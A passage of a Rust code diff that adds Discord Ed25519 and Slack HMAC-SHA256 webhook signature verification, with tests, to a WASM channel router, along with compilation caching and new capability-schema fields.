+ }]; + + router.register(channel, endpoints, None, None).await; + router.register_hmac_secret("slack", "signing-secret").await; + + // Secret should exist + assert!(router.get_hmac_secret("slack").await.is_some()); + + // Unregister + router.unregister("slack").await; + + // Secret should be gone + assert!(router.get_hmac_secret("slack").await.is_none()); + } + + // ── Category 4: Router Signature Key Management ───────────────────── + + #[tokio::test] + async fn test_register_and_get_signature_key() { + let router = WasmChannelRouter::new(); + let channel = create_test_channel("discord"); + + router.register(channel, vec![], None, None).await; + + let fake_pub_key = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2"; + router + .register_signature_key("discord", fake_pub_key) + .await + .unwrap(); + + let key = router.get_signature_key("discord").await; + assert_eq!(key, Some(fake_pub_key.to_string())); + } + + #[tokio::test] + async fn test_no_signature_key_returns_none() { + let router = WasmChannelRouter::new(); + let channel = create_test_channel("slack"); + router.register(channel, vec![], None, None).await; + + // Slack has no signature key registered + let key = router.get_signature_key("slack").await; + assert!(key.is_none()); + } + + #[tokio::test] + async fn test_unregister_removes_signature_key() { + let router = WasmChannelRouter::new(); + let channel = create_test_channel("discord"); + + let endpoints = vec![RegisteredEndpoint { + channel_name: "discord".to_string(), + path: "/webhook/discord".to_string(), + methods: vec!["POST".to_string()], + require_secret: false, + }]; + + router.register(channel, endpoints, None, None).await; + // Use a valid 32-byte Ed25519 key for this test + let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602"; + router + .register_signature_key("discord", valid_key) + .await + .unwrap(); + + // Key should exist + assert!(router.get_signature_key("discord").await.is_some()); + + // Unregister + router.unregister("discord").await; + + // Key should be gone + assert!(router.get_signature_key("discord").await.is_none()); + } + + // ── Key Validation Tests ────────────────────────────────────────── + + #[tokio::test] + async fn test_register_valid_signature_key_succeeds() { + let router = WasmChannelRouter::new(); + let channel = create_test_channel("discord"); + router.register(channel, vec![], None, None).await; + + // Valid 32-byte Ed25519 public key (from test keypair) + let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602"; + let result = router.register_signature_key("discord", valid_key).await; + assert!(result.is_ok(), "Valid Ed25519 key should be accepted"); + } + + #[tokio::test] + async fn test_register_invalid_hex_key_fails() { + let router = WasmChannelRouter::new(); + let channel = create_test_channel("discord"); + router.register(channel, vec![], None, None).await; + + let result = router + .register_signature_key("discord", "not-valid-hex-zzz") + .await; + assert!(result.is_err(), "Invalid hex should be rejected"); + } + + #[tokio::test] + async fn test_register_wrong_length_key_fails() { + let router = WasmChannelRouter::new(); + let channel = create_test_channel("discord"); + router.register(channel, vec![], None, None).await; + + // 16 bytes instead of 32 + let short_key = hex::encode([0u8; 16]); + let result = router.register_signature_key("discord", &short_key).await; + assert!(result.is_err(), "Wrong-length key should be rejected"); + } + + #[tokio::test] + async fn test_register_empty_key_fails() { + let router = WasmChannelRouter::new(); + let channel = create_test_channel("discord"); + router.register(channel, vec![], None, None).await; + + let result = router.register_signature_key("discord", "").await; + assert!(result.is_err(), "Empty key should be rejected"); + } + + #[tokio::test] + async fn test_valid_key_is_retrievable() { + let router = WasmChannelRouter::new(); + let channel = create_test_channel("discord"); + router.register(channel, vec![], None, None).await; + + let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602"; + router + .register_signature_key("discord", valid_key) + .await + .unwrap(); + + let stored = router.get_signature_key("discord").await; + assert_eq!(stored, Some(valid_key.to_string())); + } + + #[tokio::test] + async fn test_invalid_key_does_not_store() { + let router = WasmChannelRouter::new(); + let channel = create_test_channel("discord"); + router.register(channel, vec![], None, None).await; + + // Attempt to register invalid key + let _ = router + .register_signature_key("discord", "not-valid-hex") + .await; + + // Should not have stored anything + let stored = router.get_signature_key("discord").await; + assert!(stored.is_none(), "Invalid key should not be stored"); + } + + // ── Webhook Handler Integration Tests ───────────────────────────── + + use axum::Router as AxumRouter; + use axum::body::Body; + use axum::http::{Request, StatusCode}; + use tower::ServiceExt; + + use crate::channels::wasm::router::create_wasm_channel_router; + use ed25519_dalek::{Signer, SigningKey}; + + /// Helper to create a router with a registered channel at /webhook/discord. + async fn setup_discord_router() -> (Arc, AxumRouter) { + let wasm_router = Arc::new(WasmChannelRouter::new()); + let channel = create_test_channel("discord"); + + let endpoints = vec![RegisteredEndpoint { + channel_name: "discord".to_string(), + path: "/webhook/discord".to_string(), + methods: vec!["POST".to_string()], + require_secret: false, + }]; + + wasm_router.register(channel, endpoints, None, None).await; + + let app = create_wasm_channel_router(wasm_router.clone(), None); + (wasm_router, app) + } + + /// Helper: generate a test keypair. + fn test_signing_key() -> SigningKey { + SigningKey::from_bytes(&[ + 0x9d, 0x61, 0xb1, 0x9d, 0xef, 0xfd, 0x5a, 0x60, 0xba, 0x84, 0x4a, 0xf4, 0x92, 0xec, + 0x2c, 0xc4, 0x44, 0x49, 0xc5, 0x69, 0x7b, 0x32, 0x69, 0x19, 0x70, 0x3b, 0xac, 0x03, + 0x1c, 0xae, 0x7f, 0x60, + ]) + } + + #[tokio::test] + async fn test_webhook_rejects_missing_sig_headers() { + let (wasm_router, app) = setup_discord_router().await; + + // Register a signature key + let signing_key = test_signing_key(); + let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes()); + wasm_router + .register_signature_key("discord", &pub_key_hex) + .await + .unwrap(); + + // Send request without signature headers + let req = Request::builder() + .method("POST") + .uri("/webhook/discord") + .header("content-type", "application/json") + .body(Body::from(r#"{"type":1}"#)) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + assert_eq!( + resp.status(), + StatusCode::UNAUTHORIZED, + "Missing signature headers should return 401" + ); + } + + #[tokio::test] + async fn test_webhook_rejects_invalid_signature() { + let (wasm_router, app) = setup_discord_router().await; + + let signing_key = test_signing_key(); + let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes()); + wasm_router + .register_signature_key("discord", &pub_key_hex) + .await + .unwrap(); + + let req = Request::builder() + .method("POST") + .uri("/webhook/discord") + .header("content-type", "application/json") + .header("x-signature-ed25519", "deadbeefdeadbeef") + .header("x-signature-timestamp", "1234567890") + .body(Body::from(r#"{"type":1}"#)) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + assert_eq!( + resp.status(), + StatusCode::UNAUTHORIZED, + "Invalid signature should return 401" + ); + } + + #[tokio::test] + async fn test_webhook_accepts_valid_signature() { + let (wasm_router, app) = setup_discord_router().await; + + let signing_key = test_signing_key(); + let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes()); + wasm_router + .register_signature_key("discord", &pub_key_hex) + .await + .unwrap(); + + // Use current timestamp so staleness check passes + let now_secs = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap() + .as_secs(); + let timestamp = now_secs.to_string(); + let body_bytes = br#"{"type":1}"#; + + let mut message = Vec::new(); + message.extend_from_slice(timestamp.as_bytes()); + message.extend_from_slice(body_bytes); + let signature = signing_key.sign(&message); + let sig_hex = hex::encode(signature.to_bytes()); + + let req = Request::builder() + .method("POST") + .uri("/webhook/discord") + .header("content-type", "application/json") + .header("x-signature-ed25519", &sig_hex) + .header("x-signature-timestamp", ×tamp) + .body(Body::from(&body_bytes[..])) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + // Should NOT be 401 — signature is valid (may be 500 since no WASM module) + assert_ne!( + resp.status(), + StatusCode::UNAUTHORIZED, + "Valid signature should not return 401" + ); + } + + #[tokio::test] + async fn test_webhook_skips_sig_for_no_key() { + let (_wasm_router, app) = setup_discord_router().await; + + // No signature key registered — should not require signature + let req = Request::builder() + .method("POST") + .uri("/webhook/discord") + .header("content-type", "application/json") + .body(Body::from(r#"{"type":1}"#)) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + // Should NOT be 401 (may be 500 since no WASM module, but not auth failure) + assert_ne!( + resp.status(), + StatusCode::UNAUTHORIZED, + "No signature key registered — should skip sig check" + ); + } + + #[tokio::test] + async fn test_webhook_sig_check_uses_body() { + let (wasm_router, app) = setup_discord_router().await; + + let signing_key = test_signing_key(); + let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes()); + wasm_router + .register_signature_key("discord", &pub_key_hex) + .await + .unwrap(); + + let timestamp = "1234567890"; + // Sign body A + let body_a = br#"{"type":1}"#; + let mut message = Vec::new(); + message.extend_from_slice(timestamp.as_bytes()); + message.extend_from_slice(body_a); + let signature = signing_key.sign(&message); + let sig_hex = hex::encode(signature.to_bytes()); + + // But send body B + let body_b = br#"{"type":2}"#; + let req = Request::builder() + .method("POST") + .uri("/webhook/discord") + .header("content-type", "application/json") + .header("x-signature-ed25519", &sig_hex) + .header("x-signature-timestamp", timestamp) + .body(Body::from(&body_b[..])) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + assert_eq!( + resp.status(), + StatusCode::UNAUTHORIZED, + "Signature for different body should return 401" + ); + } + + #[tokio::test] + async fn test_webhook_sig_check_uses_timestamp() { + let (wasm_router, app) = setup_discord_router().await; + + let signing_key = test_signing_key(); + let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes()); + wasm_router + .register_signature_key("discord", &pub_key_hex) + .await + .unwrap(); + + // Sign with timestamp A + let timestamp_a = "1234567890"; + let body = br#"{"type":1}"#; + let mut message = Vec::new(); + message.extend_from_slice(timestamp_a.as_bytes()); + message.extend_from_slice(body); + let signature = signing_key.sign(&message); + let sig_hex = hex::encode(signature.to_bytes()); + + // But send timestamp B in the header + let timestamp_b = "9999999999"; + let req = Request::builder() + .method("POST") + .uri("/webhook/discord") + .header("content-type", "application/json") + .header("x-signature-ed25519", &sig_hex) + .header("x-signature-timestamp", timestamp_b) + .body(Body::from(&body[..])) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + assert_eq!( + resp.status(), + StatusCode::UNAUTHORIZED, + "Signature with mismatched timestamp should return 401" + ); + } + + #[tokio::test] + async fn test_webhook_sig_plus_secret() { + let wasm_router = Arc::new(WasmChannelRouter::new()); + let channel = create_test_channel("discord"); + + let endpoints = vec![RegisteredEndpoint { + channel_name: "discord".to_string(), + path: "/webhook/discord".to_string(), + methods: vec!["POST".to_string()], + require_secret: true, + }]; + + // Register with BOTH secret and signature key + wasm_router + .register(channel, endpoints, Some("my-secret".to_string()), None) + .await; + + let signing_key = test_signing_key(); + let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes()); + wasm_router + .register_signature_key("discord", &pub_key_hex) + .await + .unwrap(); + + let app = create_wasm_channel_router(wasm_router.clone(), None); + + // Use current timestamp so staleness check passes + let now_secs = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap() + .as_secs(); + let timestamp = now_secs.to_string(); + let body = br#"{"type":1}"#; + let mut message = Vec::new(); + message.extend_from_slice(timestamp.as_bytes()); + message.extend_from_slice(body); + let signature = signing_key.sign(&message); + let sig_hex = hex::encode(signature.to_bytes()); + + // Provide valid signature AND valid secret + let req = Request::builder() + .method("POST") + .uri("/webhook/discord?secret=my-secret") + .header("content-type", "application/json") + .header("x-signature-ed25519", &sig_hex) + .header("x-signature-timestamp", ×tamp) + .body(Body::from(&body[..])) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + // Should pass both checks (may be 500 due to no WASM module, but not 401) + assert_ne!( + resp.status(), + StatusCode::UNAUTHORIZED, + "Valid secret + valid signature should not return 401" + ); + } + + // ── HMAC-SHA256 Webhook Signature Tests ──────────────────────────── + + /// Helper to create a router with a registered channel at /webhook/slack. + async fn setup_slack_router() -> (Arc, AxumRouter) { + let wasm_router = Arc::new(WasmChannelRouter::new()); + let channel = create_test_channel("slack"); + + let endpoints = vec![RegisteredEndpoint { + channel_name: "slack".to_string(), + path: "/webhook/slack".to_string(), + methods: vec!["POST".to_string()], + require_secret: false, + }]; + + wasm_router.register(channel, endpoints, None, None).await; + + let app = create_wasm_channel_router(wasm_router.clone(), None); + (wasm_router, app) + } + + /// Helper: compute expected Slack signature for testing. + fn slack_signature(signing_secret: &str, timestamp: &str, body: &[u8]) -> String { + use hmac::{Hmac, Mac}; + use sha2::Sha256; + + let mut basestring = Vec::new(); + basestring.extend_from_slice(b"v0:"); + basestring.extend_from_slice(timestamp.as_bytes()); + basestring.push(b':'); + basestring.extend_from_slice(body); + + let mut mac = Hmac::::new_from_slice(signing_secret.as_bytes()).unwrap(); + mac.update(&basestring); + let computed = mac.finalize().into_bytes(); + format!("v0={}", hex::encode(computed)) + } + + #[tokio::test] + async fn test_webhook_hmac_rejects_missing_sig_headers() { + let (wasm_router, app) = setup_slack_router().await; + + wasm_router + .register_hmac_secret("slack", "my-signing-secret") + .await; + + // Send request without HMAC signature headers + let req = Request::builder() + .method("POST") + .uri("/webhook/slack") + .header("content-type", "application/json") + .body(Body::from("token=xyzz0WbapA4vBCDEFasx0q6G")) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + assert_eq!( + resp.status(), + StatusCode::UNAUTHORIZED, + "Missing HMAC signature headers should return 401" + ); + } + + #[tokio::test] + async fn test_webhook_hmac_rejects_invalid_signature() { + let (wasm_router, app) = setup_slack_router().await; + + wasm_router + .register_hmac_secret("slack", "my-signing-secret") + .await; + + let req = Request::builder() + .method("POST") + .uri("/webhook/slack") + .header("content-type", "application/json") + .header("x-slack-request-timestamp", "1234567890") + .header("x-slack-signature", "v0=deadbeefdeadbeef") + .body(Body::from("token=xyzz0WbapA4vBCDEFasx0q6G")) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + assert_eq!( + resp.status(), + StatusCode::UNAUTHORIZED, + "Invalid HMAC signature should return 401" + ); + } + + #[tokio::test] + async fn test_webhook_hmac_accepts_valid_signature() { + let (wasm_router, app) = setup_slack_router().await; + + let signing_secret = "my-signing-secret"; + wasm_router + .register_hmac_secret("slack", signing_secret) + .await; + + let now_secs = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap() + .as_secs(); + let timestamp = now_secs.to_string(); + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G"; + + let signature = slack_signature(signing_secret, ×tamp, body); + + let req = Request::builder() + .method("POST") + .uri("/webhook/slack") + .header("content-type", "application/json") + .header("x-slack-request-timestamp", ×tamp) + .header("x-slack-signature", &signature) + .body(Body::from(&body[..])) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + // Should NOT be 401 — signature is valid (may be 500 since no WASM module) + assert_ne!( + resp.status(), + StatusCode::UNAUTHORIZED, + "Valid HMAC signature should not return 401" + ); + } + + #[tokio::test] + async fn test_webhook_hmac_skips_check_for_no_secret() { + let (_wasm_router, app) = setup_slack_router().await; + + // No HMAC secret registered — should not require signature + let req = Request::builder() + .method("POST") + .uri("/webhook/slack") + .header("content-type", "application/json") + .body(Body::from("token=xyzz0WbapA4vBCDEFasx0q6G")) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + // Should NOT be 401 (may be 500 since no WASM module, but not auth failure) + assert_ne!( + resp.status(), + StatusCode::UNAUTHORIZED, + "No HMAC secret registered — should skip check" + ); + } + + #[tokio::test] + async fn test_webhook_hmac_uses_correct_body() { + let (wasm_router, app) = setup_slack_router().await; + + let signing_secret = "my-signing-secret"; + wasm_router + .register_hmac_secret("slack", signing_secret) + .await; + + let timestamp = "1234567890"; + let body_a = b"token=xyzz0WbapA4vBCDEFasx0q6G"; + let body_b = b"token=MODIFIED"; + + // Sign body A + let signature = slack_signature(signing_secret, timestamp, body_a); + + // But send body B + let req = Request::builder() + .method("POST") + .uri("/webhook/slack") + .header("content-type", "application/json") + .header("x-slack-request-timestamp", timestamp) + .header("x-slack-signature", &signature) + .body(Body::from(&body_b[..])) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + assert_eq!( + resp.status(), + StatusCode::UNAUTHORIZED, + "Signature for different body should return 401" + ); + } + + #[tokio::test] + async fn test_webhook_hmac_uses_correct_timestamp() { + let (wasm_router, app) = setup_slack_router().await; + + let signing_secret = "my-signing-secret"; + wasm_router + .register_hmac_secret("slack", signing_secret) + .await; + + let timestamp_a = "1234567890"; + let timestamp_b = "9999999999"; + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G"; + + // Sign with timestamp A + let signature = slack_signature(signing_secret, timestamp_a, body); + + // But send timestamp B in the header + let req = Request::builder() + .method("POST") + .uri("/webhook/slack") + .header("content-type", "application/json") + .header("x-slack-request-timestamp", timestamp_b) + .header("x-slack-signature", &signature) + .body(Body::from(&body[..])) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + assert_eq!( + resp.status(), + StatusCode::UNAUTHORIZED, + "Signature with mismatched timestamp should return 401" + ); + } } diff --git a/src/channels/wasm/runtime.rs b/src/channels/wasm/runtime.rs index 62f9d19c..047156f1 100644 --- a/src/channels/wasm/runtime.rs +++ b/src/channels/wasm/runtime.rs @@ -68,38 +68,51 @@ impl WasmChannelRuntimeConfig { } /// A compiled WASM channel component ready for instantiation. -#[derive(Debug)] +/// +/// Stores the pre-compiled `Component` directly so instantiation +/// doesn't require recompilation. pub struct PreparedChannelModule { /// Channel name. pub name: String, /// Channel description. pub description: String, - /// Compiled component bytes (public for testing, otherwise use component_bytes()). - pub(crate) component_bytes: Vec, + /// Pre-compiled component (cheaply cloneable via internal Arc). + pub(crate) component: Option, /// Resource limits for this channel. pub limits: ResourceLimits, } impl PreparedChannelModule { - /// Get the compiled component bytes. - pub fn component_bytes(&self) -> &[u8] { - &self.component_bytes + /// Get the pre-compiled component for instantiation. + pub fn component(&self) -> Option<&wasmtime::component::Component> { + self.component.as_ref() } /// Create a PreparedChannelModule for testing purposes. /// - /// Creates a module with no actual WASM bytes, suitable for testing + /// Creates a module with no actual WASM component, suitable for testing /// channel infrastructure without requiring a real WASM component. pub fn for_testing(name: impl Into, description: impl Into) -> Self { Self { name: name.into(), description: description.into(), - component_bytes: Vec::new(), + component: None, limits: ResourceLimits::default(), } } } +impl std::fmt::Debug for PreparedChannelModule { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("PreparedChannelModule") + .field("name", &self.name) + .field("description", &self.description) + .field("has_component", &self.component.is_some()) + .field("limits", &self.limits) + .finish() + } +} + /// WASM channel runtime. /// /// Manages the Wasmtime engine and a cache of prepared channel modules. @@ -137,6 +150,22 @@ impl WasmChannelRuntime { // Disable debug info in production wasmtime_config.debug_info(false); + // Enable persistent compilation cache. Wasmtime serializes compiled native + // code to disk (~/.cache/wasmtime by default), so subsequent startups + // deserialize instead of recompiling — typically 10-50x faster. + // + // On Windows, each Engine gets its own cache subdirectory to avoid + // OS error 33 (ERROR_LOCK_VIOLATION) when multiple engines share the + // default cache and Windows holds exclusive locks on memory-mapped + // files. See #448. + if let Err(e) = crate::tools::wasm::enable_compilation_cache( + &mut wasmtime_config, + "channels", + config.cache_dir.as_deref(), + ) { + tracing::warn!("Failed to enable wasmtime compilation cache: {}", e); + } + let engine = Engine::new(&wasmtime_config).map_err(|e| { WasmChannelError::Config(format!("Failed to create Wasmtime engine: {}", e)) })?; @@ -183,13 +212,13 @@ impl WasmChannelRuntime { // Compile in blocking task (Wasmtime compilation is synchronous) let prepared = tokio::task::spawn_blocking(move || { // Validate and compile the component - let _component = wasmtime::component::Component::new(&engine, &wasm_bytes) + let component = wasmtime::component::Component::new(&engine, &wasm_bytes) .map_err(|e| WasmChannelError::Compilation(e.to_string()))?; Ok::<_, WasmChannelError>(PreparedChannelModule { name: name.clone(), description: desc, - component_bytes: wasm_bytes, + component: Some(component), limits: limits.unwrap_or(default_limits), }) }) diff --git a/src/channels/wasm/schema.rs b/src/channels/wasm/schema.rs index f0769dee..b5081426 100644 --- a/src/channels/wasm/schema.rs +++ b/src/channels/wasm/schema.rs @@ -51,6 +51,14 @@ use crate::tools::wasm::{CapabilitiesFile as ToolCapabilitiesFile, RateLimitSche /// Root schema for a channel capabilities JSON file. #[derive(Debug, Clone, Default, Serialize, Deserialize)] pub struct ChannelCapabilitiesFile { + /// Extension version (semver). + #[serde(default)] + pub version: Option, + + /// WIT interface version this channel was compiled against (semver). + #[serde(default)] + pub wit_version: Option, + /// File type, must be "channel". #[serde(default = "default_type")] pub r#type: String, @@ -90,6 +98,37 @@ impl ChannelCapabilitiesFile { serde_json::from_slice(bytes) } + /// Validate the capabilities file and emit warnings for common misconfigurations. + /// + /// Called once at load time to catch issues early. Warnings are emitted via + /// `tracing::warn` so they show up in startup logs without blocking loading. + pub fn validate(&self) { + const MIN_PROMPT_LENGTH: usize = 30; + + // Check for short prompts in required_secrets + for secret in &self.setup.required_secrets { + if secret.prompt.len() < MIN_PROMPT_LENGTH { + tracing::warn!( + channel = self.name, + secret = secret.name, + prompt = secret.prompt, + "setup.required_secrets prompt is shorter than {} chars — \ + consider a more descriptive prompt that tells the user where to find this value", + MIN_PROMPT_LENGTH + ); + } + } + + // Has required_secrets but no setup_url + if !self.setup.required_secrets.is_empty() && self.setup.setup_url.is_none() { + tracing::warn!( + channel = self.name, + "setup.required_secrets defined but no setup.setup_url — \ + user has no link to obtain credentials" + ); + } + } + /// Convert to runtime ChannelCapabilities. pub fn to_capabilities(&self) -> ChannelCapabilities { self.capabilities.to_channel_capabilities(&self.name) @@ -111,6 +150,30 @@ impl ChannelCapabilitiesFile { .and_then(|w| w.secret_header.as_deref()) } + /// Get the signature verification key secret name for this channel. + /// + /// Returns the secret name declared in `webhook.signature_key_secret_name`, + /// used to look up the Ed25519 public key in the secrets store. + pub fn signature_key_secret_name(&self) -> Option<&str> { + self.capabilities + .channel + .as_ref() + .and_then(|c| c.webhook.as_ref()) + .and_then(|w| w.signature_key_secret_name.as_deref()) + } + + /// Get the HMAC-SHA256 signing secret name for this channel. + /// + /// Returns the secret name declared in `webhook.hmac_secret_name`, + /// used to look up the HMAC signing secret in the secrets store (Slack-style). + pub fn hmac_secret_name(&self) -> Option<&str> { + self.capabilities + .channel + .as_ref() + .and_then(|c| c.webhook.as_ref()) + .and_then(|w| w.hmac_secret_name.as_deref()) + } + /// Get the webhook secret name for this channel. /// /// Returns the configured secret name or defaults to "{channel_name}_webhook_secret". @@ -230,6 +293,15 @@ pub struct WebhookSchema { /// Default: "{channel_name}_webhook_secret" #[serde(default)] pub secret_name: Option, + + /// Secret name in secrets store containing the Ed25519 public key + /// for signature verification (e.g., Discord interaction verification). + #[serde(default)] + pub signature_key_secret_name: Option, + + /// Secret name in secrets store for HMAC-SHA256 signing (Slack-style). + #[serde(default)] + pub hmac_secret_name: Option, } /// Setup configuration schema. @@ -245,6 +317,10 @@ pub struct SetupSchema { /// Placeholders like {secret_name} are replaced with actual values. #[serde(default)] pub validation_endpoint: Option, + + /// User-facing URL where they can create/manage credentials. + #[serde(default)] + pub setup_url: Option, } /// Configuration for a secret required during setup. @@ -585,4 +661,149 @@ mod tests { 64 ); } + + // ── Category 5: Discord Capabilities Setup & Configuration ────────── + + #[test] + fn test_validate_channel_short_prompt() { + // prompt < 30 chars — should not panic + let json = r#"{ + "name": "test-channel", + "setup": { + "required_secrets": [ + { "name": "bot_token", "prompt": "Bot token" } + ], + "setup_url": "https://example.com" + } + }"#; + + let file = ChannelCapabilitiesFile::from_json(json).unwrap(); + // Should not panic; warning emitted for short prompt + file.validate(); + } + + #[test] + fn test_validate_channel_missing_setup_url() { + // required_secrets without setup_url — should not panic + let json = r#"{ + "name": "test-channel", + "setup": { + "required_secrets": [ + { + "name": "bot_token", + "prompt": "Enter your bot token from the developer portal settings" + } + ] + } + }"#; + + let file = ChannelCapabilitiesFile::from_json(json).unwrap(); + // Should not panic; warning emitted for missing setup_url + file.validate(); + } + + #[test] + fn test_validate_clean_channel() { + // Well-configured channel — should not panic or warn + let json = r#"{ + "name": "good-channel", + "setup": { + "required_secrets": [ + { + "name": "bot_token", + "prompt": "Enter your bot token from https://example.com/bot-settings" + } + ], + "setup_url": "https://example.com/bot-settings" + } + }"#; + + let file = ChannelCapabilitiesFile::from_json(json).unwrap(); + // Should not panic and emits no warnings + file.validate(); + } + + #[test] + fn test_discord_capabilities_has_public_key_secret() { + let json = include_str!("../../../channels-src/discord/discord.capabilities.json"); + let file = ChannelCapabilitiesFile::from_json(json).unwrap(); + + let secret_names: Vec<&str> = file + .setup + .required_secrets + .iter() + .map(|s| s.name.as_str()) + .collect(); + + assert!( + secret_names.contains(&"discord_public_key"), + "discord.capabilities.json must include discord_public_key in setup.required_secrets, \ + found: {:?}", + secret_names + ); + } + + #[test] + fn test_webhook_schema_signature_key_secret_name() { + let json = r#"{ + "name": "discord", + "capabilities": { + "channel": { + "allowed_paths": ["/webhook/discord"], + "webhook": { + "signature_key_secret_name": "discord_public_key" + } + } + } + }"#; + + let file = ChannelCapabilitiesFile::from_json(json).unwrap(); + assert_eq!(file.signature_key_secret_name(), Some("discord_public_key")); + } + + #[test] + fn test_signature_key_secret_name_none_when_missing() { + let json = r#"{ + "name": "telegram", + "capabilities": { + "channel": { + "allowed_paths": ["/webhook/telegram"], + "webhook": { + "secret_header": "X-Telegram-Bot-Api-Secret-Token" + } + } + } + }"#; + + let file = ChannelCapabilitiesFile::from_json(json).unwrap(); + assert_eq!(file.signature_key_secret_name(), None); + } + + #[test] + fn test_discord_capabilities_signature_key() { + let json = include_str!("../../../channels-src/discord/discord.capabilities.json"); + let file = ChannelCapabilitiesFile::from_json(json).unwrap(); + assert_eq!( + file.signature_key_secret_name(), + Some("discord_public_key"), + "discord.capabilities.json must declare signature_key_secret_name" + ); + } + + #[test] + fn test_discord_capabilities_secrets_allowlist() { + let json = include_str!("../../../channels-src/discord/discord.capabilities.json"); + let file = ChannelCapabilitiesFile::from_json(json).unwrap(); + + let caps = file.to_capabilities(); + let secrets_caps = caps + .tool_capabilities + .secrets + .expect("Discord should have secrets capability"); + + assert!( + secrets_caps.is_allowed("discord_public_key"), + "discord_public_key must be in the secrets allowlist" + ); + } } diff --git a/src/channels/wasm/signature.rs b/src/channels/wasm/signature.rs new file mode 100644 index 00000000..8b48d88c --- /dev/null +++ b/src/channels/wasm/signature.rs @@ -0,0 +1,657 @@ +//! Webhook signature verification (Discord Ed25519 and Slack HMAC-SHA256). +//! +//! Validates request signatures for incoming webhooks: +//! - Discord: `X-Signature-Ed25519` and `X-Signature-Timestamp` headers +//! - Slack: `X-Slack-Signature` and `X-Slack-Request-Timestamp` headers +//! +//! See: +//! See: + +/// Verify a Discord interaction signature. +/// +/// Discord signs each interaction with Ed25519 using: +/// - message = `timestamp` (UTF-8 bytes) ++ `body` (raw bytes) +/// - signature = Ed25519 detached signature (hex-encoded in header) +/// - public_key = Application public key from Developer Portal (hex-encoded) +/// +/// Returns `true` if the signature is valid, `false` on any error +/// (bad hex, wrong length, invalid signature, etc.). +pub fn verify_discord_signature( + public_key_hex: &str, + signature_hex: &str, + timestamp: &str, + body: &[u8], + now_secs: i64, +) -> bool { + // Staleness check: reject non-numeric or stale/future timestamps + let ts: i64 = match timestamp.parse() { + Ok(v) => v, + Err(_) => return false, + }; + if (now_secs - ts).abs() > 5 { + return false; + } + use ed25519_dalek::{Signature, VerifyingKey}; + + let Ok(sig_bytes) = hex::decode(signature_hex) else { + return false; + }; + let Ok(key_bytes) = hex::decode(public_key_hex) else { + return false; + }; + let Ok(signature) = Signature::from_slice(&sig_bytes) else { + return false; + }; + let Ok(verifying_key) = VerifyingKey::try_from(key_bytes.as_slice()) else { + return false; + }; + + let mut message = Vec::with_capacity(timestamp.len() + body.len()); + message.extend_from_slice(timestamp.as_bytes()); + message.extend_from_slice(body); + verifying_key.verify_strict(&message, &signature).is_ok() +} + +/// Verify a Slack webhook signature using HMAC-SHA256. +/// +/// Slack signs each webhook request with HMAC-SHA256 using: +/// - basestring = `"v0:" + timestamp + ":" + body` +/// - signature = hex-encoded HMAC-SHA256(signing_secret, basestring) +/// - header = `"v0=" + signature` (in `X-Slack-Signature` header) +/// +/// Includes staleness check: rejects requests with timestamps older than 5 minutes. +/// Returns `true` if the signature is valid, `false` on any error +/// (bad timing, mismatched signature, invalid format, etc.). +pub fn verify_slack_signature( + signing_secret: &str, + timestamp: &str, + body: &[u8], + signature_header: &str, + now_secs: i64, +) -> bool { + use hmac::{Hmac, Mac}; + use sha2::Sha256; + + // 1. Parse and check staleness (5-minute window) + let ts: i64 = match timestamp.parse() { + Ok(v) => v, + Err(_) => return false, + }; + if (now_secs - ts).abs() > 300 { + return false; + } + + // 2. Build the basestring: "v0:{timestamp}:{body}" + let mut basestring = Vec::with_capacity(3 + timestamp.len() + 1 + body.len()); + basestring.extend_from_slice(b"v0:"); + basestring.extend_from_slice(timestamp.as_bytes()); + basestring.push(b':'); + basestring.extend_from_slice(body); + + // 3. Compute HMAC-SHA256 + let mut mac = match Hmac::::new_from_slice(signing_secret.as_bytes()) { + Ok(m) => m, + Err(_) => return false, + }; + mac.update(&basestring); + let computed = mac.finalize().into_bytes(); + let computed_hex = hex::encode(computed); + let expected = format!("v0={}", computed_hex); + + // 4. Constant-time compare (avoids timing side-channels) + use subtle::ConstantTimeEq; + expected + .as_bytes() + .ct_eq(signature_header.as_bytes()) + .into() +} + +#[cfg(test)] +mod tests { + use super::*; + use ed25519_dalek::{Signer, SigningKey}; + + /// Helper: generate a test keypair and produce a valid signature for the given timestamp+body. + fn sign_test_message(timestamp: &str, body: &[u8]) -> (String, String, String) { + let signing_key = SigningKey::from_bytes(&[ + 0x9d, 0x61, 0xb1, 0x9d, 0xef, 0xfd, 0x5a, 0x60, 0xba, 0x84, 0x4a, 0xf4, 0x92, 0xec, + 0x2c, 0xc4, 0x44, 0x49, 0xc5, 0x69, 0x7b, 0x32, 0x69, 0x19, 0x70, 0x3b, 0xac, 0x03, + 0x1c, 0xae, 0x7f, 0x60, + ]); + let verifying_key = 